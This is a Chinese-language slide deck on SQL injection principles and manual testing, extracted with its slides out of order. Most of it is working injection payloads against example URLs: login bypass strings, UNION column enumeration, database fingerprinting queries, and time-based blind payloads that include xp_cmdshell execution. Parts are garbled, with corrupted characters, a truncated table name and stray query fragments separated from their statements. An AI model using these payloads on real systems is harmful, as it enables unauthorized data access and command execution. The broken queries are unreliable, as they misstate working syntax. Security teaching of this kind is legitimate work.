当前位置:
文档之家› 1.1SQL注入漏洞原理及测试方法
1.1SQL注入漏洞原理及测试方法
13
判断注入方式
内联式SQL注入 内联注入是指查询注入SQL代码后,原来的查询仍然 全部执行
Sqlstr = "select * from admin where username = '"+username+"' and password = '"+password+"'" username = "' or ''='" password = "' or ''='"
§ 万能列类型:
• 大部分数据库中NULL可兼容任何类型的数据,所有可使用NULL 匹配数据表的列类型
§ 确定列数量:
• 使用union select null,null,null,…,null from dual逐步增 加null数量,直到匹配原语句的列数量,成功匹配后返回正常 页面 • 使用order by 确原语句列数量, 可使用折半查找法提高猜测 效率
注入方法(union)
v 使用union获取数据规则
§ 两个查询返回的列数必须相同。 § 两个SELECT语句返回的数据库对应的列必须类型 相同或兼容 § 通常只有终止式注入时,可较快猜解并利用,否 则要知道原始的SQL语句才能比较方便的利用
注入方法(union)
v Union语句的构建
识别数据库类型
v 使用字符连接方式判断数据库类型
§ MSSQL数据库
http://host/test.php?id=100 and ‘1’+’1’=‘11’ § MySql数据库 http://host/test.php?id=100 and ‘1’+’1’=‘11’ http://host/test.php?id=100 and CONCAT(‘1’,’1’)=‘11’ § Oracle数据库 http://host/test.php?id=100 and ‘1’||’1’=‘11’ http://host/test.php?id=100 and CONCAT(‘1’,’1’)=‘11’
20
识别数据库类型
要成功的发动SQL注入攻击,最重要的是知道 应用正在使用的DBMS。没有这一信息就不可能向 查询注入信息并提取自己所感兴趣的数据 原因:不同数据库之间存在语法差异和特性
识别数据库类型
v 常见构架判断数据库类型
§ asp + access § asp + mssql § + mssql § php + mysql § Jsp + oracle § Jsp + mysql
基础
v SQL (Structured Query Language) :结构化的查询 语言,是关系型数据库通讯的标准语言。 查询:Select statement from table where condition 删除记录:delete from table where condition 更新记录:update table set field=value where condtion 添加记录:insert into table field values(values)
sqlstr = "select * from news where id = '" + request.getParameter("name") + "'"
三种注入类型测试方法
搜索型 测试方法: http://host/test.php?keyword=test%’ and ‘%’=‘ 返回test查询相同结果 http://host/test.php?id=test%’ and ‘%’=‘ 返回少于test 查询结果的 内容 产生原因:
注入方法(union)v Unioຫໍສະໝຸດ 注入结果注入方法(union)
v Union不适用的地方
§ 注入语句无法截断,且不清楚完整的SQL查询语句 § Web页面中有两个SQL查询语句,查询语句的列数 不同
注入方法(盲注)
v 基于时间的攻击
§ MSSQL http://host/products.asp?id=12;if +(system_user=‘sa’)+waitfor+delay+’0:0:5’-http://host/products.asp?id=12;if +(system_user=‘sa’)+exec master..xp_cmdshell’ping localhost’ § Mysql select benchmark(1000000, sha1(‘test’)) //执行sha1函数1000000次 § Oracle select utl_http.request(‘http://10.0.0.1’) from dual
sqlstr = "select * from news where id = " + request. getParameter("id")
三种注入类型测试方法
字符型 测试方法: http://host/test.php?name=rainman’ and ‘1’=‘1 返回成功 http://host/test.php?name=rainman’ and ‘1’=‘2 返回失败 产生原因:
v 基础 v 常规利用过程 v 判断方法 v 注入类型测试方法 v 判断注入方式 v 辅助测试工具 v 识别数据库类型 v 注入方法 v 枚举数据库
17
辅助测试工具
手工测试工具 - Burp suite
辅助测试工具
手工测试工具 - HackBar
v 基础 v 常规利用过程 v 判断方法 v 注入类型测试方法 v 判断注入方式 v 辅助测试工具 v 识别数据库类型 v 注入方法 v 枚举数据库
v 基础 v 常规利用过程 v 判断方法 v 注入类型测试方法 v 判断注入方式 v 辅助测试工具 v 识别数据库类型 v 注入方法 v 枚举数据库
7
如何判断
v 最简单的测试
§ http://host/test.php?id=100’ 返回错误 § http://host/test.php?id=100 and 1=1 返回正常 § http://host/test.php?id=100 and 1=2 返回错误
§ 确定列类型:
• Union select 1,’2’,null,…,null from dual,先猜测第一 列为数字,如果不正确则判断为字符,如果还是不正确则保 持null不变(可能为二进制类型),依次完成部分或全部类型 的判断
§ 其他:
• Mysql数字/字符类型可直接转换,可直接使用select 1,2,3,…,n 方式构建union
v 基础 v 常规利用过程 v 判断方法 v 注入类型测试方法 v 判断注入方式 v 辅助测试工具 v 识别数据库类型 v 注入方法 v 枚举数据库
26
注入方法(union)
v 使用union获取数据
Union是数据库管理员经常使用且可以掌控 的运算符之一,可以使用它连接两条或多条selec t语句的查询结果。其基本语法如下:
判断注入方式
终止式SQL注入
终止式SQL语句注入是指攻击者在注入SQL代码时,通 过注释剩下的查询来成功结束该语句。被注释的查询 不会被执行
Sqlstr = "SELECT * FROM admin WHERE username = '"+username+"' and password = '"+password+ "'" username = “’ or ‘’=‘’ --“ password = “any string” 常见的终止方式
sqlstr = "select * from news where keyword like '%" + request. getParameter("keyword") + "%'"
v 基础 v 常规利用过程 v 判断方法 v 注入类型测试方法 v 判断注入方式 v 辅助测试工具 v 识别数据库类型 v 注入方法 v 枚举数据库
识别数据库类型
v 判断数据库类型
§ 使用一些特征判断数据库类型 报错信息: Oracle: ORA-01756: 括号内的字符串没有正确 结束 Mysql: ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near MSSQL: [Microsoft][ODBC SQL Server Driver ][SQL Server]字符串’’之前有未闭合的引号
• 终止字符串: -- , #, %23, %00, /* • 终止方法: -- , ‘-- , ‘)-- , ) -- , ‘)) --, ))--
注入点在哪里?
触发SQL注入
所有的输入只要和数据库进行交互的,都有 可能触发SQL注入 常见的包括: 1. Get参数触发SQL注入 2. POST参数触发SQL注入 3. Cookie触发SQL注入 4. 其他参与sql执行的输入都有可能进行SQL注入
识别数据库类型
v 判断数据库类型
§ 通过特有数据表进行判断 MSQQL数据库: http://host/test.php?id=100 and (select sysobjects)>0 and 1=1 Access数据库: http://host/test.php?id=100 and (select msysobjects)>0 and 1=1 Mysql数据库: http://host/test.php?id=100 and (select information_schema. TABLES)>0 and 1=1 > 5.0 Oracle数据库: http://host/test.php?id=100 and (select er_tables)>0 and 1=1 count(*) from count(*) from count(*) from mysql count(*) from